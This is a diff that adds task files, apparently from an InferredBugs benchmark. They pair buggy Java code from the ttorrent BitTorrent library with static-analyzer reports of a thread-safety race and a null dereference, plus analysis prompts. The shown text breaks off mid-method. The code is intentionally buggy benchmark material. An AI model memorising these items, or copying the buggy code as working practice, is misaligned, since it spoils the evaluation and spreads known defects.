+  public void open() throws IOException {
+    this.partial = new File(this.target.getAbsolutePath() +
+      TorrentByteStorage.PARTIAL_FILE_NAME_SUFFIX);
+
+    if (this.partial.exists()) {
+      logger.debug("Partial download found at {}. Continuing...",
+        this.partial.getAbsolutePath());
+      this.current = this.partial;
+    } else if (!this.target.exists()) {
+      logger.debug("Downloading new file to {}...",
+        this.partial.getAbsolutePath());
+      this.current = this.partial;
+    } else {
+      logger.debug("Using existing file {}.",
+        this.target.getAbsolutePath());
+      this.current = this.target;
+    }
+
+    this.raf = new RandomAccessFile(this.current, "rw");
+
+    // Set the file length to the appropriate size, eventually truncating
+    // or extending the file if it already exists with a different size.
+    this.raf.setLength(this.size);
+
+    this.channel = raf.getChannel();
+
+    logger.debug("Opened byte storage file at {} " +
+      "({}+{} byte(s)).",
+      new Object[] {
+        this.current.getAbsolutePath(),
+        this.offset,
+        this.size,
+      });
+  }
+
+	protected long offset() {
+		return this.offset;
+	}
+
+	@Override
+	public long size() {
+		return this.size;
+	}
+
+	@Override
+	public int read(ByteBuffer buffer, long offset) throws IOException {
+		int requested = buffer.remaining();
+
+		if (offset + requested > this.size) {
+			throw new IllegalArgumentException("Invalid storage read request!");
+		}
+
+		int bytes = this.channel.read(buffer, offset);
+		if (bytes < requested) {
+			throw new IOException("Storage underrun!");
+		}
+
+		return bytes;
+	}
+
+	@Override
+	public int write(ByteBuffer buffer, long offset) throws IOException {
+		int requested = buffer.remaining();
+
+		if (offset + requested > this.size) {
+			throw new IllegalArgumentException("Invalid storage write request!");
+		}
+
+		return this.channel.write(buffer, offset);
+	}
+
+	@Override
+	public synchronized void close() throws IOException {
+		logger.debug("Closing file channel to {}. Channel open: {}", current.getName(), channel.isOpen());
+		if (this.channel.isOpen()) {
+			this.channel.force(true);
+		}
+		this.raf.close();
+	}
+
+	/** Move the partial file to its final location.
+	 */
+	@Override
+	public synchronized void finish() throws IOException {
+		logger.debug("Closing file channel to " + this.current.getName() +
+			" (download complete).");
+		if (this.channel.isOpen()) {
+			this.channel.force(true);
+		}
+
+		// Nothing more to do if we're already on the target file.
+		if (this.isFinished()) {
+			return;
+		}
+
+		this.raf.close();
+		FileUtils.deleteQuietly(this.target);
+		FileUtils.moveFile(this.current, this.target);
+
+		logger.debug("Re-opening torrent byte storage at {}.",
+				this.target.getAbsolutePath());
+
+		this.raf = new RandomAccessFile(this.target, "rw");
+		this.raf.setLength(this.size);
+		this.channel = this.raf.getChannel();
+		this.current = this.target;
+
+		FileUtils.deleteQuietly(this.partial);
+		logger.info("Moved torrent data from {} to {}.",
+			this.partial.getName(),
+			this.target.getName());
+	}
+
+	@Override
+	public boolean isFinished() {
+		return this.current.equals(this.target);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.turn.ttorrent.client.storage.FileStorage.open` reads without synchronization from `this.com.turn.ttorrent.client.storage.FileStorage.raf`. Potentially races with write in method `FileStorage.finish()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FileStorage.open()
+
+### Procedure Id:
+com.turn.ttorrent.client.storage.FileStorage.open():void.667c698f5c0ea9886878304fa0a379f5
+
+### File:
+src/main/java/com/turn/ttorrent/client/storage/FileStorage.java
+
+### Key:
+FileStorage.java|open|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+c5587d32305ad755b6b478f049530987
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10024/instruction.md b/inferredbugs-10024/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..56c55183ff487b5ed44e034e394cbf7c9aefa5f9
--- /dev/null
+++ b/inferredbugs-10024/instruction.md
@@ -0,0 +1,152 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 42
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.turn.ttorrent.common;
+
+import org.apache.commons.codec.binary.Hex;
+import org.apache.commons.io.FileUtils;
+import org.testng.annotations.Test;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.security.NoSuchAlgorithmException;
+import java.util.*;
+
+import static org.testng.Assert.*;
+import static org.testng.Assert.assertEqualsNoOrder;
+
+@Test
+public class TorrentTest {
+
+  public void test_create_torrent() throws URISyntaxException, IOException, NoSuchAlgorithmException, InterruptedException {
+    URI announceURI = new URI("http://localhost:6969/announce");
+    String createdBy = "Test";
+    Torrent t = Torrent.create(new File("src/test/resources/parentFiles/file1.jar"), announceURI, createdBy);
+    assertEquals(createdBy, t.getCreatedBy());
+    assertEquals(announceURI, t.getAnnounceList().get(0).get(0));
+  }
+
+  public void load_torrent_created_by_utorrent() throws IOException, NoSuchAlgorithmException, URISyntaxException {
+    Torrent t = Torrent.load(new File("src/test/resources/torrents/file1.jar.torrent"));
+    assertEquals(new URI("http://localhost:6969/announce"), t.getAnnounceList().get(0).get(0));
+    assertEquals("B92D38046C76D73948E14C42DF992CAF25489D08", t.getHexInfoHash());
+    assertEquals("uTorrent/3130", t.getCreatedBy());
+  }
+
+  public void torrent_from_multiple_files() throws URISyntaxException, InterruptedException, NoSuchAlgorithmException, IOException {
+    URI announceURI = new URI("http://localhost:6969/announce");
+    String createdBy = "Test2";
+    final File parentDir = new File("src/test/resources/parentFiles/parentDir");
+    final long creationTimeSecs = 1376051000;
+    final String[] fileNames = new String[]
+            {"AccuRevCommon.jar",
+                    "commons-io-cio2.5_3.jar",
+                    "commons-io-cio2.5_3.jar.link",
+                    "inDir/application.wadl",
+                    "storage.version"};
+    final List<File> files = new ArrayList<File>();
+    for (String fileName : fileNames) {
+      files.add(new File(parentDir, fileName));
+    }
+    Torrent createdTorrent = Torrent.create(parentDir,files, announceURI, null, createdBy, creationTimeSecs, Torrent.DEFAULT_PIECE_LENGTH);
+    File torrentFileWin = new File("src/test/resources/torrents/parentDir.win.torrent");
+    File torrentFileLinux = new File("src/test/resources/torrents/parentDir.linux.torrent");
+    final byte[] expectedBytesWin = FileUtils.readFileToByteArray(torrentFileWin);
+    final byte[] expectedBytesLinux = FileUtils.readFileToByteArray(torrentFileLinux);
+    final byte[] actualBytes = createdTorrent.getEncoded();
+
+    assertTrue(Hex.encodeHexString(expectedBytesWin).equals(Hex.encodeHexString(actualBytes)) || Hex.encodeHexString(expectedBytesLinux).equals(Hex.encodeHexString(actualBytes)));
+  }
+
+  public void testFilenames() throws IOException, NoSuchAlgorithmException {
+    File torrentFile = new File("src/test/resources/torrents/parentDir.win.torrent");
+    Torrent t2 = Torrent.load(torrentFile);
+    final List<String> tmpFileNames = t2.getFilenames();
+    final List<String> normalizedFilenames = new ArrayList<String>(tmpFileNames.size());
+    for (String filename : tmpFileNames) {
+      normalizedFilenames.add(filename.replaceAll("\\\\", "/"));
+    }
+    String[] expectedFilenames = new String[]
+    {"parentDir/AccuRevCommon.jar",
+     "parentDir/commons-io-cio2.5_3.jar",
+     "parentDir/commons-io-cio2.5_3.jar.link",
+     "parentDir/inDir/application.wadl",
+     "parentDir/storage.version"};
+    assertEqualsNoOrder(normalizedFilenames.toArray(new String[normalizedFilenames.size()]), expectedFilenames);
+    System.out.println();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `t.getAnnounceList()` could be null and is dereferenced at line 30.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TorrentTest.load_torrent_created_by_utorrent()
+
+### Procedure Id:
+com.turn.ttorrent.common.TorrentTest.load_torrent_created_by_utorrent():void.3af3631d96fec3feae7f514d9a782ded
+
+### File:
+src/test/java/com/turn/ttorrent/common/TorrentTest.java
+
+### Key:
+TorrentTest.java|load_torrent_created_by_utorrent|NULL_DEREFERENCE
+
+### Node Key:
+27fee7544c485eb5196572e368ab34d7
+
+### Hash:
+2a2eaf4f5028aa0f1355847c2ee3a896
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10025/instruction.md b/inferredbugs-10025/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bafa9f14bd1ec0e390962765c4f18b1df968c3a7
--- /dev/null
+++ b/inferredbugs-10025/instruction.md
@@ -0,0 +1,1055 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 45
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2011-2012 Turn, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.turn.ttorrent.client;
+
+import com.turn.ttorrent.bcodec.BEValue;
+import com.turn.ttorrent.bcodec.InvalidBEncodingException;
+import com.turn.ttorrent.client.peer.PeerActivityListener;
+import com.turn.ttorrent.client.peer.SharingPeer;
+import com.turn.ttorrent.client.storage.FileCollectionStorage;
+import com.turn.ttorrent.client.storage.FileStorage;
+import com.turn.ttorrent.client.storage.TorrentByteStorage;
+import com.turn.ttorrent.client.strategy.RequestStrategy;
+import com.turn.ttorrent.client.strategy.RequestStrategyImplAnyInteresting;
+import com.turn.ttorrent.common.Peer;
+import com.turn.ttorrent.common.Torrent;
+import com.turn.ttorrent.common.TorrentFile;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.security.NoSuchAlgorithmException;
+import java.util.*;
+import java.util.concurrent.*;
+
+
+/**
+ * A torrent shared by the BitTorrent client.
+ * <p/>
+ * <p>
+ * The {@link SharedTorrent} class extends the Torrent class with all the data
+ * and logic required by the BitTorrent client implementation.
+ * </p>
+ * <p/>
+ * <p>
+ * <em>Note:</em> this implementation currently only supports single-file
+ * torrents.
+ * </p>
+ *
+ * @author mpetazzoni
+ */
+public class SharedTorrent extends Torrent implements PeerActivityListener {
+
+  private static final Logger logger =
+          LoggerFactory.getLogger(SharedTorrent.class);
+
+  private final static RequestStrategy DEFAULT_REQUEST_STRATEGY = new RequestStrategyImplAnyInteresting();
+
+  /**
+   * End-game trigger ratio.
+   *
+   * <p>
+   * Eng-game behavior (requesting already requested pieces from available
+   * and ready peers to try to speed-up the end of the transfer) will only be
+   * enabled when the ratio of completed pieces over total pieces in the
+   * torrent is over this value.
+   * </p>
+   */
+  private static final float ENG_GAME_COMPLETION_RATIO = 0.95f;
+
+  private boolean stop;
+
+  private long uploaded;
+  private long downloaded;
+  private long left;
+
+  private long myLastAnnounceTime = -1;
+  private int mySeedersCount = 0;
+
+  private TorrentByteStorage bucket;
+
+  private final int pieceLength;
+  private final ByteBuffer piecesHashes;
+
+  private boolean initialized;
+  private Piece[] pieces;
+  private SortedSet<Piece> rarest;
+  private BitSet completedPieces;
+  private final BitSet requestedPieces;
+  private final RequestStrategy myRequestStrategy;
+
+  private List<Peer> myDownloaders = new CopyOnWriteArrayList<Peer>();
+
+  private volatile ClientState clientState = ClientState.WAITING;
+
+  private boolean multiThreadHash;
+
+  private File parentFile;
+  private final boolean isLeecher;
+
+  /**
+   * Create a new shared torrent from a base Torrent object.
+   * <p/>
+   * <p>
+   * This will recreate a SharedTorrent object from the provided Torrent
+   * object's encoded meta-info data.
+   * </p>
+   *
+   * @param torrent The Torrent object.
+   * @param destDir The destination directory or location of the torrent
+   *                files.
+   * @throws FileNotFoundException    If the torrent file location or
+   *                                  destination directory does not exist and can't be created.
+   * @throws IOException              If the torrent file cannot be read or decoded.
+   * @throws NoSuchAlgorithmException
+   */
+  public SharedTorrent(Torrent torrent, File destDir, boolean multiThreadHash)
+          throws IOException, NoSuchAlgorithmException {
+    this(torrent, destDir, multiThreadHash, false);
+  }
+
+  /**
+   * Create a new shared torrent from a base Torrent object.
+   * <p/>
+   * <p>
+   * This will recreate a SharedTorrent object from the provided Torrent
+   * object's encoded meta-info data.
+   * </p>
+   *
+   * @param torrent The Torrent object.
+   * @param destDir The destination directory or location of the torrent
+   *                files.
+   * @param seeder  Whether we're a seeder for this torrent or not (disables
+   *                validation).
+   * @throws FileNotFoundException    If the torrent file location or
+   *                                  destination directory does not exist and can't be created.
+   * @throws IOException              If the torrent file cannot be read or decoded.
+   * @throws NoSuchAlgorithmException
+   */
+  public SharedTorrent(Torrent torrent, File destDir, boolean multiThreadHash, boolean seeder)
+          throws IOException, NoSuchAlgorithmException {
+    this(torrent.getEncoded(), destDir, multiThreadHash, seeder, false, DEFAULT_REQUEST_STRATEGY);
+  }
+
+  /**
+   * Create a new shared torrent from meta-info binary data.
+   *
+   * @param torrent The meta-info byte data.
+   * @param destDir The destination directory or location of the torrent
+   *                files.
+   * @throws FileNotFoundException If the torrent file location or
+   *                               destination directory does not exist and can't be created.
+   * @throws IOException           If the torrent file cannot be read or decoded.
+   */
+  public SharedTorrent(byte[] torrent, File destDir, boolean multiThreadHash)
+          throws IOException, NoSuchAlgorithmException {
+    this(torrent, destDir, multiThreadHash, false, false, DEFAULT_REQUEST_STRATEGY);
+  }
+
+  /**
+   * Create a new shared torrent from meta-info binary data.
+   *
+   * @param torrent The meta-info byte data.
+   * @param parent  The parent directory or location the torrent files.
+   * @param seeder  Whether we're a seeder for this torrent or not (disables
+   *                validation).
+   * @throws IOException              If the torrent file cannot be read or decoded.
+   * @throws NoSuchAlgorithmException
+   */
+  public SharedTorrent(byte[] torrent, File parent, boolean multiThreadHash, boolean seeder, boolean leecher, RequestStrategy requestStrategy)
+          throws IOException, NoSuchAlgorithmException {
+    super(torrent, seeder);
+
+    this.isLeecher = leecher;
+    this.parentFile = parent;
+    this.myRequestStrategy = requestStrategy;
+
+    this.multiThreadHash = multiThreadHash;
+
+    if (parent == null || !parent.isDirectory()) {
+      throw new IllegalArgumentException("Invalid parent directory!");
+    }
+
+    String parentPath = parent.getCanonicalPath();
+
+    try {
+      final Map<String, BEValue> decodedInfo = getDecodedInfo();
+      this.pieceLength = decodedInfo.get("piece length").getInt();
+      this.piecesHashes = ByteBuffer.wrap(decodedInfo.get("pieces")
+              .getBytes());
+
+      if (this.piecesHashes.capacity() / Torrent.PIECE_HASH_SIZE *
+              (long) this.pieceLength < this.getSize()) {
+        throw new IllegalArgumentException("Torrent size does not " +
+                "match the number of pieces and the piece size!");
+      }
+    } catch (InvalidBEncodingException ibee) {
+      throw new IllegalArgumentException(
+              "Error reading torrent meta-info fields!");
+    }
+
+    List<FileStorage> files = new LinkedList<FileStorage>();
+    long offset = 0L;
+    for (TorrentFile file : this.files) {
+      File actual = new File(parent, file.getRelativePathAsString());
+
+      if (!actual.getCanonicalPath().startsWith(parentPath)) {
+        throw new SecurityException("Torrent file path attempted " +
+                "to break directory jail!");
+      }
+
+      actual.getParentFile().mkdirs();
+      files.add(new FileStorage(actual, offset, file.size));
+      offset += file.size;
+    }
+    this.bucket = new FileCollectionStorage(files, this.getSize());
+
+    this.stop = false;
+
+    this.uploaded = 0;
+    this.downloaded = 0;
+    this.left = this.getSize();
+
+    this.initialized = false;
+    this.pieces = new Piece[0];
+    this.rarest = Collections.synchronizedSortedSet(new TreeSet<Piece>());
+    this.completedPieces = new BitSet();
+    this.requestedPieces = new BitSet();
+  }
+
+  /**
+   * Create a new shared torrent from the given torrent file.
+   *
+   * @param source The <code>.torrent</code> file to read the torrent
+   *               meta-info from.
+   * @param parent The parent directory or location of the torrent files.
+   * @throws IOException              When the torrent file cannot be read or decoded.
+   * @throws NoSuchAlgorithmException
+   */
+  public static SharedTorrent fromFile(File source, File parent, boolean multiThreadHash)
+          throws IOException, NoSuchAlgorithmException {
+    return fromFile(source, parent, multiThreadHash, false);
+  }
+
+  public static SharedTorrent fromFile(File source, File parent, boolean multiThreadHash, boolean seeder)
+          throws IOException, NoSuchAlgorithmException {
+    return fromFile(source, parent, multiThreadHash, seeder, false);
+  }
+
+  public static SharedTorrent fromFile(File source, File parent, boolean multiThreadHash, boolean seeder, boolean leecher)
+          throws IOException, NoSuchAlgorithmException {
+    FileInputStream fis = new FileInputStream(source);
+    byte[] data = new byte[(int) source.length()];
+    fis.read(data);
+    fis.close();
+    return new SharedTorrent(data, parent, multiThreadHash, seeder, leecher, DEFAULT_REQUEST_STRATEGY);
+  }
+
+  private synchronized void openFileChannelIfNecessary() {
+    logger.debug("Opening file channel for {}. Downloaders: {}", getParentFile().getAbsolutePath() + "/" + getName(), myDownloaders.size());
+    try {
+      if (myDownloaders.size() == 0) {
+        this.bucket.open(clientState == ClientState.SEEDING || isSeeder());
+      }
+    } catch (IOException e) {
+      logger.error("IO error when opening channel to torrent data", e);
+      setClientState(ClientState.ERROR);
+    }
+  }
+
+  private synchronized void closeFileChannelIfNecessary() throws IOException {
+    logger.debug("Closing file  channel for {} if necessary. Downloaders: {}", getParentFile().getAbsolutePath() + "/" + getName(), myDownloaders.size());
+    if (this.myDownloaders.size() == 0) {
+      this.bucket.close();
+    }
+  }
+
+  /**
+   * Get the number of bytes uploaded for this torrent.
+   */
+  public long getUploaded() {
+    return this.uploaded;
+  }
+
+  /**
+   * Get the number of bytes downloaded for this torrent.
+   * <p/>
+   * <p>
+   * <b>Note:</b> this could be more than the torrent's length, and should
+   * not be used to determine a completion percentage.
+   * </p>
+   */
+  public long getDownloaded() {
+    return this.downloaded;
+  }
+
+  /**
+   * Get the number of bytes left to download for this torrent.
+   */
+  public long getLeft() {
+    return this.left;
+  }
+
+  public int getSeedersCount() {
+    return mySeedersCount;
+  }
+
+  public void setSeedersCount(int seedersCount) {
+    mySeedersCount = seedersCount;
+  }
+
+  public long getLastAnnounceTime() {
+    return myLastAnnounceTime;
+  }
+
+  public void setLastAnnounceTime(long lastAnnounceTime) {
+    myLastAnnounceTime = lastAnnounceTime;
+  }
+
+  /**
+   * Tells whether this torrent has been fully initialized yet.
+   */
+  public boolean isInitialized() {
+    return this.initialized;
+  }
+
+  /**
+   * Stop the torrent initialization as soon as possible.
+   */
+  public void stop() {
+    this.stop = true;
+  }
+
+  public synchronized void unloadPieces() {
+    // do this only for completed torrents
+    if (clientState != ClientState.SEEDING || myDownloaders.size() > 0 && !bucket.isClosed()) {
+      return;
+    }
+    initialized = false;
+    this.pieces = new Piece[0];
+  }
+
+  /**
+   * Build this torrent's pieces array.
+   * <p/>
+   * <p>
+   * Hash and verify any potentially present local data and create this
+   * torrent's pieces array from their respective hash provided in the
+   * torrent meta-info.
+   * </p>
+   * <p/>
+   * <p>
+   * This function should be called soon after the constructor to initialize
+   * the pieces array.
+   * </p>
+   */
+  public synchronized void init() throws InterruptedException, IOException {
+    setClientState(ClientState.VALIDATING);
+
+    if (this.isInitialized()) {
+      throw new IllegalStateException("Torrent was already initialized!");
+    }
+
+    try {
+      openFileChannelIfNecessary();
+      if (multiThreadHash) {
+        hashMultiThread();
+      } else {
+        hashSingleThread();
+      }
+    } finally {
+      closeFileChannelIfNecessary();
+    }
+
+    logger.debug("{}: {}/{} bytes [{}/{}].",
+            new Object[]{
+                    this.getName(),
+                    (this.getSize() - this.left),
+                    this.getSize(),
+                    this.completedPieces.cardinality(),
+                    this.pieces.length
+            });
+
+//    Client.cleanupProcessor().registerCleanable(this);
+    this.initialized = true;
+  }
+
+  private void initPieces() {
+    int nPieces = (int) (Math.ceil(
+            (double) this.getSize() / this.pieceLength));
+    this.pieces = new Piece[nPieces];
+    this.completedPieces = new BitSet(nPieces);
+    this.piecesHashes.clear();
+  }
+
+  private void hashMultiThread() throws InterruptedException, IOException {
+    initPieces();
+
+    ExecutorService executor = Executors.newFixedThreadPool(
+            HASHING_THREADS_COUNT);
+    List<Future<Piece>> results = new LinkedList<Future<Piece>>();
+
+    logger.debug("Analyzing local data for {} with {} threads...",
+            this.getName(), HASHING_THREADS_COUNT);
+    for (int idx = 0; idx < this.pieces.length; idx++) {
+      byte[] hash = new byte[Torrent.PIECE_HASH_SIZE];
+      this.piecesHashes.get(hash);
+
+      // The last piece may be shorter than the torrent's global piece
+      // length. Let's make sure we get the right piece length in any
+      // situation.
+      long off = ((long) idx) * this.pieceLength;
+      long len = Math.min(
+              this.bucket.size() - off,
+              this.pieceLength);
+
+      this.pieces[idx] = new Piece(this.bucket, idx, off, len, hash,
+              this.isSeeder(), isLeecher);
+
+      Callable<Piece> hasher = new Piece.CallableHasher(this.pieces[idx]);
+      results.add(executor.submit(hasher));
+    }
+
+    // Request orderly executor shutdown and wait for hashing tasks to
+    // complete.
+    executor.shutdown();
+    while (!executor.isTerminated()) {
+      if (this.stop) {
+        throw new InterruptedException("Torrent data analysis interrupted.");
+      }
+
+      Thread.sleep(10);
+    }
+
+    try {
+      for (Future<Piece> task : results) {
+        Piece piece = task.get();
+        if (this.pieces[piece.getIndex()].isValid()) {
+          this.completedPieces.set(piece.getIndex());
+          this.left -= piece.size();
+        }
+      }
+    } catch (ExecutionException e) {
+      throw new IOException("Error while hashing a torrent piece!", e);
+    }
+  }
+
+  private void hashSingleThread() throws InterruptedException, IOException {
+    initPieces();
+
+    List<Piece> results = new LinkedList<Piece>();
+
+    logger.debug("Analyzing local data for {} with {} threads...",
+            this.getName(), HASHING_THREADS_COUNT);
+    for (int idx = 0; idx < this.pieces.length; idx++) {
+      byte[] hash = new byte[Torrent.PIECE_HASH_SIZE];
+      this.piecesHashes.get(hash);
+
+      // The last piece may be shorter than the torrent's global piece
+      // length. Let's make sure we get the right piece length in any
+      // situation.
+      long off = ((long) idx) * this.pieceLength;
+      long len = Math.min(
+              this.bucket.size() - off,
+              this.pieceLength);
+
+      this.pieces[idx] = new Piece(this.bucket, idx, off, len, hash,
+              this.isSeeder(), isLeecher);
+
+      Callable<Piece> hasher = new Piece.CallableHasher(this.pieces[idx]);
+      try {
+        results.add(hasher.call());
+      } catch (Exception e) {
+        if (Thread.currentThread().isInterrupted()) break;
+        logger.error("There was a problem initializing piece " + idx);
+      }
+    }
+
+    for (Piece piece : results) {
+      if (this.pieces[piece.getIndex()].isValid()) {
+        this.completedPieces.set(piece.getIndex());
+        this.left -= piece.size();
+      }
+    }
+  }
+
+  public synchronized void close() {
+    logger.trace("Closing torrent", getName());
+//    Client.cleanupProcessor().unregisterCleanable(this);
+    try {
+      this.bucket.close();
+    } catch (IOException ioe) {
+      logger.error("Error closing torrent byte storage: {}",
+              ioe.getMessage());
+    }
+  }
+
+  public synchronized void delete() {
+    logger.trace("Closing and deleting torrent data", getName());
+    try {
+      close();
+      this.bucket.delete();
+    } catch (IOException ioe) {
+      logger.error("Error deleting torrent byte storage: {}",
+              ioe.getMessage());
+    }
+  }
+
+  /**
+   * Retrieve a piece object by index.
+   *
+   * @param index The index of the piece in this torrent.
+   */
+  public Piece getPiece(int index) {
+    if (this.pieces == null) {
+      throw new IllegalStateException("Torrent not initialized yet.");
+    }
+
+    if (index >= this.pieces.length) {
+      throw new IllegalArgumentException("Invalid piece index!");
+    }
+
+    return this.pieces[index];
+  }
+
+
+  public File getParentFile() {
+    return parentFile;
+  }
+
+  /**
+   * Return a copy of the bit field of available pieces for this torrent.
+   * <p/>
+   * <p>
+   * Available pieces are pieces available in the swarm, and it does not
+   * include our own pieces.
+   * </p>
+   */
+  public BitSet getAvailablePieces() {
+    if (!this.isInitialized()) {
+      throw new IllegalStateException("Torrent not yet initialized!");
+    }
+
+    BitSet availablePieces = new BitSet(this.pieces.length);
+
+    synchronized (this.pieces) {
+      for (Piece piece : this.pieces) {
+        if (piece.available()) {
+          availablePieces.set(piece.getIndex());
+        }
+      }
+    }
+
+    return availablePieces;
+  }
+
+  /**
+   * Return a copy of the completed pieces bitset.
+   */
+  public BitSet getCompletedPieces() {
+    if (!this.isInitialized()) {
+      throw new IllegalStateException("Torrent not yet initialized!");
+    }
+
+    synchronized (this.completedPieces) {
+      return (BitSet) this.completedPieces.clone();
+    }
+  }
+
+  /**
+   * Return a copy of the requested pieces bitset.
+   */
+  public BitSet getRequestedPieces() {
+    if (!this.isInitialized()) {
+      throw new IllegalStateException("Torrent not yet initialized!");
+    }
+
+    synchronized (this.requestedPieces) {
+      return (BitSet) this.requestedPieces.clone();
+    }
+  }
+
+  /**
+   * Tells whether this torrent has been fully downloaded, or is fully
+   * available locally.
+   */
+  public synchronized boolean isComplete() {
+    return this.pieces.length > 0 &&
+            this.completedPieces.cardinality() == this.pieces.length;
+  }
+
+  /**
+   * Finalize the download of this torrent.
+   * <p/>
+   * <p>
+   * This realizes the final, pre-seeding phase actions on this torrent,
+   * which usually consists in putting the torrent data in their final form
+   * and at their target location.
+   * </p>
+   *
+   * @see TorrentByteStorage#finish
+   */
+  public synchronized void finish() throws IOException {
+    if (!this.isInitialized()) {
+      throw new IllegalStateException("Torrent not yet initialized!");
+    }
+
+    if (!this.isComplete()) {
+      throw new IllegalStateException("Torrent download is not complete!");
+    }
+
+    try {
+      this.bucket.finish();
+    } catch (IOException ex) {
+      setClientState(ClientState.ERROR);
+      throw ex;
+    }
+
+    setClientState(ClientState.SEEDING);
+  }
+
+  public synchronized boolean isFinished() {
+    return this.isComplete() && this.bucket.isFinished();
+  }
+
+  public ClientState getClientState() {
+    return this.clientState;
+  }
+
+  public void setClientState(ClientState clientState) {
+    this.clientState = clientState;
+  }
+
+  /**
+   * Mark a piece as completed, decrementing the piece size in bytes from our
+   * left bytes to download counter.
+   */
+  public synchronized void markCompleted(Piece piece) {
+    if (this.completedPieces.get(piece.getIndex())) {
+      return;
+    }
+
+    // A completed piece means that's that much data left to download for
+    // this torrent.
+    this.left -= piece.size();
+    this.completedPieces.set(piece.getIndex());
+  }
+
+  /** PeerActivityListener handler(s). *************************************/
+
+  /**
+   * Peer choked handler.
+   * <p/>
+   * <p>
+   * When a peer chokes, the requests made to it are canceled and we need to
+   * mark the eventually piece we requested from it as available again for
+   * download tentative from another peer.
+   * </p>
+   *
+   * @param peer The peer that choked.
+   */
+  @Override
+  public synchronized void handlePeerChoked(SharingPeer peer) {
+    Set<Piece> pieces = peer.getRequestedPieces();
+
+    if (pieces.size() > 0) {
+      for (Piece piece : pieces) {
+        this.requestedPieces.set(piece.getIndex(), false);
+      }
+    }
+
+    logger.trace("Peer {} choked, we now have {} outstanding " +
+                    "request(s): {}.",
+            new Object[]{
+                    peer,
+                    this.requestedPieces.cardinality(),
+                    this.requestedPieces
+            });
+  }
+
+  /**
+   * Peer ready handler.
+   * <p/>
+   * <p>
+   * When a peer becomes ready to accept piece block requests, select a piece
+   * to download and go for it.
+   * </p>
+   *
+   * @param peer The peer that became ready.
+   */
+  @Override
+  public synchronized void handlePeerReady(SharingPeer peer) {
+    initIfNecessary(peer);
+    boolean endGameMode = false;
+    int requestedPiecesCount = 0;
+    final BitSet interesting = peer.getAvailablePieces();
+    interesting.andNot(this.completedPieces);
+    interesting.andNot(this.requestedPieces);
+//    interesting.andNot(peer.getPoorlyAvailablePieces());
+
+    while (peer.getDownloadingPiecesCount() < Math.min(10, interesting.cardinality())) {
+      if (!peer.isConnected()) {
+        break;
+      }
+      logger.trace("Peer {} is ready and has {} interesting piece(s).",
+              peer, interesting.cardinality());
+
+      logger.trace("Currently requested pieces from {} : {}", peer, requestedPieces);
+
+      // If we didn't find interesting pieces, we need to check if we're in
+      // an end-game situation. If yes, we request an already requested piece
+      // to try to speed up the end.
+      if (interesting.cardinality() == 0) {
+        interesting.or(this.requestedPieces);
+        if (interesting.cardinality() == 0) {
+          logger.trace("No interesting piece from {}!", peer);
+          return;
+        }
+
+        if (this.completedPieces.cardinality() <
+                ENG_GAME_COMPLETION_RATIO * this.pieces.length) {
+          logger.trace("Not far along enough to warrant end-game mode.");
+          return;
+        }
+        endGameMode = true;
+        logger.trace("Possible end-game, we're about to request a piece " +
+                "that was already requested from another peer.");
+      }
+
+      Piece chosen = myRequestStrategy.choosePiece(rarest, interesting, pieces);
+      if (chosen == null) {
+        logger.info("chosen piece is null");
+        continue;
+      }
+      this.requestedPieces.set(chosen.getIndex());
